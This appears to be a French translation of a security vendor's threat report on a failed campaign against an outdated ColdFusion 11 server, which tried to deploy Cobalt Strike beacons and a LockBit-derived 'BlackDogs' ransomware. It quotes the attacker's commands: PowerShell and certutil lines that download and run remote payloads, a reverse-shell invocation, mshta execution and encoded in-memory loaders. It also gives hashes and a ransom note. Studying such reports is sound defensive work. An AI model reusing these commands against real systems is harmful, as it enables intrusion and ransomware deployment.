Les serveurs sont toujours un point d’intérêt pour les acteurs malveillants car ils constituent l’un des vecteurs d’attaque les plus efficaces pour pénétrer une organisation. Les comptes liés au serveur disposent souvent des niveaux de privilèges les plus élevés, ce qui facilite les déplacements latéraux vers d’autres machines du réseau.
Sophos X-Ops a observé une grande variété de menaces transmises aux serveurs, les charges utiles les plus courantes étant les Cobalt Strike Beacons, les ransomwares, les portes dérobées PowerShell sans fichier, les mineurs et les webshells. En septembre et début octobre, nous avons assisté à plusieurs efforts déployés par un acteur jusqu’alors inconnu pour exploiter les vulnérabilités des versions obsolètes et non prises en charge du logiciel ColdFusion Server d’Adobe afin d’accéder aux serveurs Windows sur lesquels ils s’exécutaient et de se tourner vers le déploiement de ransomwares. Aucune de ces attaques n’a abouti, mais elles ont fourni une télémétrie qui nous a permis de les associer à un seul acteur ou groupe d’acteurs, et de récupérer les charges utiles qu’ils tentaient de déployer.
Les fichiers que nous avons récupérés ont montré que l’attaquant tentait de déployer un ransomware créé à partir d’une fuite de code source de la famille de ransomwares LockBit 3.0. Nous avons remarqué qu’un ransomware similaire était utilisé dans une campagne d’exploitation WS-FTP. Dans ce rapport, je discuterai de la télémétrie observée dans le réseau d’un client Sophos ainsi que des outils et techniques utilisés. Heureusement, toutes les tentatives ont été bloquées par les détections comportementales des points de terminaison Sophos qui ont détecté des initiations suspectes de processus « vivre hors du pays binaire » (LoLBIN) provenant des serveurs ciblés.
Chronologie de l’attaque
Étant donné que ColdFusion 11 n’est plus corrigé et que la télémétrie des connexions réseau du serveur n’est pas disponible, nous n’avons pas pu déterminer quelle vulnérabilité a été exploitée pour commencer l’infiltration du réseau du client. Mais peu de temps après avoir obtenu l’accès le 20 septembre, les attaquants ont commencé à tester pour voir s’ils pouvaient exploiter davantage le serveur avec une série d’entrées de ligne de commande exécutées en exploitant les processus du serveur ColdFusion :
À 08h30 UTC le 20 septembre, l’attaquant exécute une commande ping dirigée vers un hôte contrôlé par l’attaquant, un sous-domaine de « oastify ».[.]com », qui est connecté au Burp Collaborator Server, un service utilisé pour les tests de sécurité des applications hors bande (OAST), une boîte à outils externe de détection de vulnérabilités. Cette commande, destinée à tester si le serveur était vulnérable à une attaque à distance, a été détectée silencieusement et autorisée par la protection des points finaux du serveur :
cmd /c "ping mc2a1coghq275g3y1qhnp5u2otukid62[.]oastify[.]com
Ensuite, à 08h38, après avoir déterminé que le serveur pouvait se connecter à un domaine distant, l’attaquant a tenté d’exécuter un script PowerShell distant pour télécharger et déployer une « balise » Cobalt Strike :
cmd /c "powershell -nop -exec bypass -c "iex ((new-object net.webclient).downloadstring('hxxp://<ip>:64/watchdogs.ps1'))
Cette action est bloquée par une règle comportementale Access_3b (basée sur MITRE ATT&CK technique T1190). L’attaquant persiste à tenter à plusieurs reprises de déployer la Cobalt Strike Beacon, mais ses efforts continuent d’être contrecarrés par la règle « Access_3b ».
Par conséquent, à 11h37, l’attaquant a de nouveau effectué une recherche DNS avec la commande « ping » pour un sous-domaine différent d’oastify.[.]com, en vérifiant que le serveur ciblé peut se connecter à un domaine distant.
cmd /c "ping oh9c6etims79ai806smpu7z4tvzmnhb6[.]oastify[.]com
Le test DNS était une fois de plus positif, à 11h45, l’attaquant a tenté d’utiliser l’utilitaire de services de certificats en ligne de commande Windows certutil.exe pour lancer à nouveau une version exécutable de la balise CobaltStrike. Encore une fois, cela a été bloqué par la règle comportementale Access_3b (T1190).
cmd /c "certutil.exe -urlcache -split -f hxxp://<ip>:64/ftps.exe c:\windows\temp\ftps.exe & start c:\windows\temp\ftps.exe
L’attaquant a tenté cette opération à plusieurs reprises. Mais à 11h52, l’attaquant a abandonné cette méthode et a tenté de déployer un PowerShell inversé interactif, une porte dérobée PowerShell sans fichier destinée à fonctionner en arrière-plan et à exécuter des commandes à la discrétion de l’attaquant. Malheureusement (pour eux), ce déploiement de charge utile s’est également révélé infructueux, bloqué par la même règle comportementale.
cmd /c "powershell -nop -exec bypass -c "iex (new-object net.webclient).downloadstring('hxxp://<ip>:64/invoke-powershelltcp.ps1');invoke-powershelltcp -reverse -ipaddress <ip> -port 585
A 12h01, l’attaquant a de nouveau changé de stratégie. Leurs efforts précédents impliquaient le téléchargement d’un fichier PowerShell, puis l’exécution de son contenu ; maintenant, ils ont tenté de charger un chargeur Cobalt Strike Beacon codé directement en mémoire avec PowerShell. Malheureusement pour eux, même cette méthode de déploiement modifiée a été bloquée.
$s=new-object io.memorystream(,convert]::frombase64string("h4siaaaaaaaa/61xaw/ishb9npwkf4gekiqm7lxrs89gsxmz2gwml4qkcmekvjblypom//tuguinp9mzlc1eqq6y73lq3kvude.. -
Leurs efforts ayant échoué, l’attaquant a attendu cinq jours pour revenir sur le serveur armé de binaires nouvellement compilés et d’un nouveau vecteur d’attaque à distance pour tenter de contourner les protections existantes. Le 25 septembre à 7 h 47, ils ont réessayé leur méthode d’attaque initiale et ont obtenu le même résultat. Le déploiement a été bloqué.
cmd /c "powershell -nop -exec bypass -c "iex ((new-object net.webclient).downloadstring('hxxp://<ip>:64/watchdogs.ps1'))
Le lendemain, ils ont tout recommencé, avec un test « ping » de 01:16 sur un autre sous-domaine aléatoire d’oastify.[.]com. À 01h23, ils ont tenté à nouveau de charger une balise de frappe cobalt codée en mémoire, avec d’autres modifications de code pour échapper à la détection. Une fois de plus, il a été bloqué.
$s=new-object io.memorystream(,[convert]::frombase64string("h4siaaaaaaaa/61xaw/ishb9npwkf4gekiqm7lxrs89gsxmz2gwml4qkcmekvjb.. -
Après cet échec, à 01h31, ils ont de nouveau essayé d’exploiter certutil.exe pour déployer une autre balise nouvellement compilée. Les efforts de l’attaquant ont continué d’être contrecarrés.
cmd /c "certutil.exe -urlcache -split -f hxxp://<ip>:64/ftpss.exe c:\windows\temp\ftpss.exe & start c:\windows\temp\ftpss.exe
À court d’options, à 02h27 le 26 septembre, l’attaquant a utilisé un fichier HTA (HTML Application) pour lancer PowerShell, dans le but de déployer la Cobalt Strike Beacon. Cependant, cette tentative s’est également soldée par un échec car elle a été bloquée par une autre règle comportementale (C2_10a, basée sur la technique ATT&CK). T1071.001)
cmd /c "mshta hxxp://<ip>:64/evil.hta
L’acteur malveillant, de plus en plus désespéré, a fait de nombreuses tentatives supplémentaires pour lancer ses attaques en utilisant des fichiers HTA et des binaires Cobalt Strike. Frustrant pour eux, tous leurs efforts ont été systématiquement contrecarrés et bloqués.
Explorer le référentiel de l’attaquant
En suivant la piste de télémétrie, nous avons constaté que des attaquants avaient involontairement laissé des listes de répertoires activées sur le serveur Web hébergeant leur référentiel d’outils, nous permettant ainsi d’explorer son contenu. Dans celui-ci, nous avons découvert tous les artefacts que l’attaquant avait tenté de déployer dans l’environnement client, ainsi que la charge utile finale du ransomware que l’attaquant avait l’intention de déployer, également provenant du référentiel. (Toutes les charges utiles que nous avons découvertes sont bloquées par les défenses de Sophos.)

La variante du ransomware, comme indiqué précédemment, porte une note de ransomware créditant « BlackDog 2023 » et semble être une nouvelle famille de ransomware avec un lien possible avec le code source divulgué de Lockbit 3.0. Cette connexion devient évidente lors de l’examen à la fois des propriétés du fichier exécutable statique et des similitudes dans le code décompressé en mémoire. Il déclenche la même protection en mémoire que cette source, Mem/Lockbit-B.
L’acteur s’est appelé « BlackDogs 2023 » dans le fichier de demande de rançon qui faisait partie de la charge utile du malware infructueux :
BlackDogs 2023 comming Your data are stolen and encrypted Please give me 205 Monero and we will give you the decryption program. Our Monero address : [redacted] The data will be published on TOR website if you do not pay the ransom Your personal DECRYPTION ID: [redacted] Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in tox. [address redacted]
205 Monero équivaut à peu près à 30 000 $ US.
Couverture des artefacts
Nom de fichier | Hachage – SHA1 | Protection du contexte – Livraison de la charge utile | Autres couches de couverture |
chiens de garde.ps1 | a77fd996290cb37b7368f0b54774d8977c97fb7c | Accès_3b (T1190) | C2_10a (T1071.001), AMSI/Cobalt-A, Shellcode |
invoquer-powershelltcp.ps1 | 6be4f82c2f5dc46ebfa74a77fb550448fcac12d5 | Accès_3b (T1190) | C2_10a (T1071.001) |
souventExcute.ps1 | b2d5c047e60b2a183d30ac92b1dc73ac5ba58bbe | Accès_3b (T1190) | C2_10a (T1071.001), AMSI/Cobalt-A, Shellcode |
$s=nouvel-objet io.memorystream(,convert]:
:debase64chaîne |
48c62e2b8e99ba7ebdaa50da7b84de014122f8eb | Accès_3b (T1190) | Exec_27a (T1059.001), AMSI/Cobalt-A, C2_4a (T1059.001 mem/meter-d mem/meter-g), Shellcode |
ftps.exe | c2e896570e194ee4003f9e696a97c04b64a6e14e | Accès_3b (T1190) | ATK/Cobalt-A, C2_1a (T1095 mem/meter-d mem/meter-g), Shellcode |
LB3.exe (Ransomware – Peut-être livré via la balise CS) | 385320ddd8254a49669bf3c31b28fde77601f47c | N / A | Impact_4c, Impact_4a(mem/lockbit-b), CryptoGuard V5 |
mal.hta | 3a0cd87b1b6a112aa564169185f83248e23383c5 | Accès_3b (T1190) | ATK/PSInject-Q, Exec_27a (T1059.001), AMSI/Cobalt-A, C2_4a (T1059.001 mem/cobalt-c, mem/meter-g) |
ftpss.exe | 26c8a6b4b816e18e611942111e401f339dc98395 | Accès_3b (T1190) | ATK/Cobalt-A, C2_1a (T1095 mem/mètre-d mem/mètre-g) |
LKl23s.exe (Ransomware – Peut-être livré via la balise CS) | 759b9d1ea843596ab32ad401ffa1c9d09e735b56 | N / A | Mal/EncPk-HM, Impact_4a(mem/lockbit-b), CryptoGuard V5 |
Ww3wb.exe (Ransomware – Peut-être livré via la balise CS) | a543ea56ecc63ec35e925e79d7c51558557b3ed1 | N / A | Impact_4a (T1486 mem/lockbit-b), CryptoGuard V5, Mal/EncPk-HM, Impact_4c (T1486) |
Ces artefacts et autres indicateurs de compromission seront également mis à disposition sur notre GitHub.
Les risques de cet ancien logiciel
À en juger par le répertoire d’installation du serveur exploité lors de l’attaque (C:\ColdFusion11\cfusion\bin\coldfusion.exe), il est évident que les clients ciblés utilisaient ColdFusion 11.x, une version introduite vers 2014. Adobe a officiellement cessé le support. pour ce produit à partir de Avril 30 2021, aucune correction de bug ou mise à jour supplémentaire n’est donc disponible pour cette version. On ne sait pas exactement quelle vulnérabilité du serveur a été exploitée, mais elles sont nombreuses.
Même si la protection des points de terminaison peut empêcher les attaquants d’exploiter les vulnérabilités des anciens logiciels, il n’existe aucun moyen de fermer le point d’entrée sans correctifs ni mises à jour. Cela affaiblit la protection globale. Il est fortement recommandé aux clients de migrer vers des versions plus récentes de tout produit serveur accessible sur Internet ou d’envisager de les retirer au profit d’une alternative toujours prise en charge. Lorsque cela n’est pas possible, les organisations doivent faire autant que possible pour atténuer les vulnérabilités, en isolant autant que possible les serveurs qui les hébergent du réseau de l’organisation et en limitant les droits d’identification sur ces serveurs pour empêcher tout mouvement latéral s’ils doivent résider sur le même réseau. .